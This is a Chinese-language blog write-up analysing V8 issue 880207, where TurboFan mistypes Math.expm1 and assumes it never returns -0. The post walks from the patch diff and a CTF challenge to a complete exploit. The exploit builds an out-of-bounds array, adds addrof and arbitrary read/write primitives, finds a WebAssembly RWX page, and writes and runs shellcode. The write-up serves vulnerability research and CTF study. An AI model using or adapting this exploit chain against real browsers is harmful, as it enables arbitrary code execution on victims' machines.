这是A guided tour through Chrome’s javascript compiler上的第三个漏洞，下面是对应的commit。
环境配置
用v8-action（星阑科技开源，使用方法https://mp.weixin.qq.com/s?__biz=Mzg5NjEyMjA5OQ==&mid=2247484916&idx=1&sn=1d07443c7e3817bd4186c616598f4889&chksm=c004a868f773217e8577b404c3032eef5e135311adeab1976c8189c1c0e7fdba3d68ae6d3f16&scene=21#wechat_redirect）
env: PATCH_FLAG: true COMMIT: 408d89041e7a21f74b37294ebed59f88d357b9c1 DEPOT_UPLOAD: false SRC_UPLOAD: true BINARY_UPLOAD: false
编译
cd v8 tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8 tools/dev/v8gen.py x64.release ninja -C out.gn/x64.release d8 cd ..
漏洞分析
看下diff
diff –git a/src/compiler/operation-typer.cc b/src/compiler/operation-typer.cc index b88b5c6..85c0998 100644 — a/src/compiler/operation-typer.cc +++ b/src/compiler/operation-typer.cc @@ -417,7 +417,7 @@ Type OperationTyper::NumberExpm1(Type type) { DCHECK(type.Is(Type::Number())); – return Type::Union(Type::PlainNumber(), Type::NaN(), zone()); + return Type::Number(); } Type OperationTyper::NumberFloor(Type type) {
简单看来就是之前返回值的类型判断失误
从这里
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_6_6
可以看到
expm1(x)返回e^x-1，其类型为除了kMinusZero之外的所有类型(优化阶段定义的类型，和它实际能不能返回-0没有关系，这只是turbofan的预测) kMinusZero就是-0。
V8 version 7.1.0 (candidate) d8> %DebugPrint(-0) DebugPrint: -0 0x27e6d5e82641: [Map] – type: HEAP_NUMBER_TYPE – instance size: 16 – elements kind: HOLEY_ELEMENTS – unused property fields: 0 – enum length: invalid – stable_map – back pointer: 0x27e6d5e825b1 <undefined> – prototype_validity cell: 0 – instance descriptors (own) #0: 0x27e6d5e82321 <DescriptorArray[2]> – layout descriptor: (nil) – prototype: 0x27e6d5e822a1 <null> – constructor: 0x27e6d5e822a1 <null> – dependent code: 0x27e6d5e82391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> – construction counter: 0 0 d8> %DebugPrint(0) DebugPrint: Smi: 0x0 (0)
可以看到-0和0差别还挺大，显示-0的type是HEAP_NUMBER_TYPE。
我们前面看到turbofan对其返回值定义类型里面没有-0这一说，但实际上会返回，测试一下。
function foo(){ return Object.is(Math.expm1(-0), -0); } print(foo()); %OptimizeFunctionOnNextCall(foo); print(foo());
可以看到优化之后和优化之前结果不同，我猜turbofan直接将其优化为false了
看了一下还真是，我们的目的是要让turbofan以为它是false，实际上它是true，这样的话就能数组越界（true为1，false为0，turbofan认为是0，觉得不会越界，所以会把CheckBound优化掉，这是漏洞的重点，但是运行时实际是1，然后乘法就能获得任意长度越界），这样就要求它在后面的优化阶段不能直接将其优化为false，我们要逃过一些优化阶段。
构造越界poc
首先是Object.is(x, -0)的问题，通常这个运算在turbofan里呈现的是一个SameValue结点这里
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_6_27
但是对于typed optimization会把它用别的直接判断结点替代，就比如我们这里和-0判断是否相等，那就会直接替换为判断是否和-0相等的结点，单这点看不出什么，似乎不影响我们的利用，但是这里优化还没完，在后面，因为判断Math.expm1(x) 的结果不可能是-0，所以这个结点会被进一步直接优化为false(在Load elimination phase)，所以我们必须阻止其由SameValue变为ObjectIsMinusZero。
那么我们简单的不让turbofan在优化时能够确保Object.is(x, Math.expm1(y))中的一个参数为-0就行，很简单的一件事，我们可以这么做。
function foo(x){ return Object.is(Math.expm1(-0), x); } print(foo(0)); %OptimizeFunctionOnNextCall(foo); print(foo(0)); print(foo(-0));
因为优化时根据调用产生的vector，没有指定是-0，而且那参数还会变，所以没有去掉SameValue，但这只是一方面，我们需要更详细的。
我们需要在simplified lowering前使其保持SameValue，也就是可以在escape analysis里把确切的值得出，那么我们可以通过。
let o = {mz: -0}; Object.is(o.mz, Math.expm1(-0));
这种形式来使得在escape analysis里面出确切值，在simplified lowering中判断其为false，这样才能访问数组时取消check bound。
和slide上写的不太一样，那上面写的是这种程度的变量简化在loadelimiation阶段就能替换上去，等不到escape。
但是我本地尝试的似乎不需要那么麻烦。
发现只用let o = {mz: -0};也能解决问题。
slide就说这种方法在实践中没有达到预期目的… :\，我自己试了下也是如此，后面作者写的内容我分辨不出是不是这种思路的延续，当我尝试去写时，提炼出来的无非是，在优化一次后再破坏一次，然后再优化，这似乎就是他说的能避免ChangeFloat64ToTagged从而避免-0被截断为0，并且我也在diff里找到了这份poc。
(function TestOptimizedFastExpm1MinusZero() { function foo() { return Object.is(Math.expm1(-0), -0); } assertTrue(foo()); %OptimizeFunctionOnNextCall(foo); assertTrue(foo()); })(); (function TestOptimizedExpm1MinusZeroSlowPath() { function f(x) { return Object.is(Math.expm1(x), -0); } function g() { return f(-0); } f(0); // Compile function optimistically for numbers (with fast inlined // path for Math.expm1). %OptimizeFunctionOnNextCall(f); // Invalidate the optimistic assumption, deopting and marking non-number // input feedback in the call IC. f(“0”); // Optimize again, now with non-lowered call to Math.expm1. assertTrue(g()); %OptimizeFunctionOnNextCall(g); assertTrue(g()); })();
能成功返回false但是看turbolizer也是被turbofan直接优化为false，还是要自己写。
最后心态崩溃，选择35c3 ctf的一道赛题附件来做，题目下载地址
https://abiondo.me/assets/ctf/35c3/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar
那道题基本就是还原了这个issue，不同的是，在自己编译的d8上跑poccheck bound怎么都去不掉，而在这一赛题上。
function foo(x) { let o = {mz: -0}; let i = Object.is(Math.expm1(x), o.mz); i *= 10; let a = [0.1, 0.2, 0.3, 0.4, 0.5]; return a[i]; } foo(0); for(let i = 10000;i>0;i–){ foo(“0”); } for(let i=10000;i>0;i–){ foo(0); } print(foo(-0));
如果你读出来是undefine，不要灰心，换个越界下标，从合法下标开始一个个增一个个试。
在simplified lowering阶段这个check bounds会被消掉，原因很简单，turbofan在优化时对于确定的显示不会造成越界的值，会把check优化掉。
那么我们最终越界poc。
var oob_arr; function foo(x) { let o = {mz: -0}; let i = Object.is(Math.expm1(x), o.mz); i *= 14; let a = [0.1, 0.2, 0.3, 0.4, 0.5]; let b = [1.1, 1.2, 1.3, 1.4]; oob_arr = b; a[i] = -1; } foo(0); for(let i = 10000;i>0;i–){ foo(“0”); } for(let i=10000;i>0;i–){ foo(0); } foo(-0); print(oob_arr.length);
如此我们就得到了一个越界数组，我们需要做的是误导turbofan，让其产生错误的判断，从而消去一些检查，因为turbofan认为不会发生的事并不是真的不会发生，他只是基于优化时的feedback的猜测去更改一些生成的IR，另外数组越界要发生在函数内，因为优化的是函数，对应的能优化掉的检查也是函数内的，我们想要返回一个能够越界的数字给外面数组用来越界是不现实的，我们要么在内部完成越界，要么把内部完成越界的数组或者越界后读的值，或者越界后写入函数外数组的length位置。
另外对于越界之后的操作，差别不大，只需好好调试或查找资料，自己可以完成剩余部分的工作，贴上我写的。
exp
function hex(i) { return i.toString(16).padStart(16, “0”); } const buf = new ArrayBuffer(8); const f64 = new Float64Array(buf); const u32 = new Uint32Array(buf); function f2i(val) { f64[0] = val; let tmp = Array.from(u32); return tmp[1] * 0x100000000 + tmp[0]; } function i2f(val) { let tmp = []; tmp[0] = parseInt(val % 0x100000000); tmp[1] = parseInt((val – tmp[0]) / 0x100000000); u32.set(tmp); return f64[0]; } var oob_arr; function foo(x) { let o = {mz: -0}; let i = Object.is(Math.expm1(x), o.mz); i *= 14; let a = [0.1, 0.2, 0.3, 0.4, 0.5]; let b = [1.1, 1.2, 1.3, 1.4]; oob_arr = b; a[i] = -1; } foo(0); for(let i = 10000;i>0;i–){ foo(“0”); } for(let i=10000;i>0;i–){ foo(0); } foo(-0); print(oob_arr.length); var obj = {mark:i2f(0x11111111),n:i2f(0x41414141)}; var ABuffer = new ArrayBuffer(0x200); var off_buffer = 0; var off_obj = 0; //%DebugPrint(obj); //%DebugPrint(ABuffer); for(var i=0;i<500;i++) { let tmp = oob_arr[i]; if(f2i(tmp) == 0x11111111) { off_obj = i+1; break; } } for(var i=0;i<500;i++) { let tmp = oob_arr[i]; if(f2i(tmp) == 0x0000000000000200) { off_buffer = i+1; break; } } console.log(“[+] off_obj @”+off_obj); console.log(“[+] off_buffer @”+off_buffer); let dataView = new DataView(ABuffer); function addrof(x) { obj.n = x; return f2i(oob_arr[off_obj]); } function arb_read(addr) { oob_arr[off_buffer] = i2f(addr); return f2i(dataView.getFloat64(0,true)); } function arb_write(addr,payload) { oob_arr[off_buffer] = i2f(addr); for(let i=0; i<payload.length; i++) { dataView.setUint8(i, payload[i]); } } let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); let wasmModule = new WebAssembly.Module(wasmCode); let wasmInstance = new WebAssembly.Instance(wasmModule); let f = wasmInstance.exports.main; let f_Addr = addrof(f); f_Addr = arb_read(f_Addr-1+8*3); f_Addr = arb_read(f_Addr-1+8*1); f_Addr = arb_read(f_Addr-1+8*2); rwx_addr = arb_read(f_Addr-1+8*0x1d); print(“[*] Get RWX address : “+hex(rwx_addr)); var shellcode = [0x48,0xb8,0x2f,0x78,0x63,0x61,0x6c,0x63,0x0,0x0,0x50,0x48,0xb8, 0x2f,0x75,0x73,0x72,0x2f,0x62,0x69,0x6e,0x50,0x48,0x89,0xe7,0x48, 0x31,0xc0,0x50,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0x48,0xc7,0xc0, 0x3a,0x31,0x00,0x00,0x50,0x48,0xb8,0x44,0x49,0x53, 0x50,0x4c,0x41,0x59,0x3d,0x50,0x48,0x89,0xe2,0x48,0x31,0xc0,0x50, 0x52,0x48,0x89,0xe2,0x48,0xc7,0xc0,0x3b,0x00,0x00,0x00,0x0f,0x05]; arb_write(rwx_addr, shellcode); print(“[*] Tigger my shellcode”); f();
其实真正核心工作只有构造出越界数组部分，剩下的把自己以前写的exp搬来修改调整就出来了。
参考
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g52a72d9904_6_0
https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/
本文由 华域联盟 原创撰写：华域联盟 » Chrome-V8-Issue-880207
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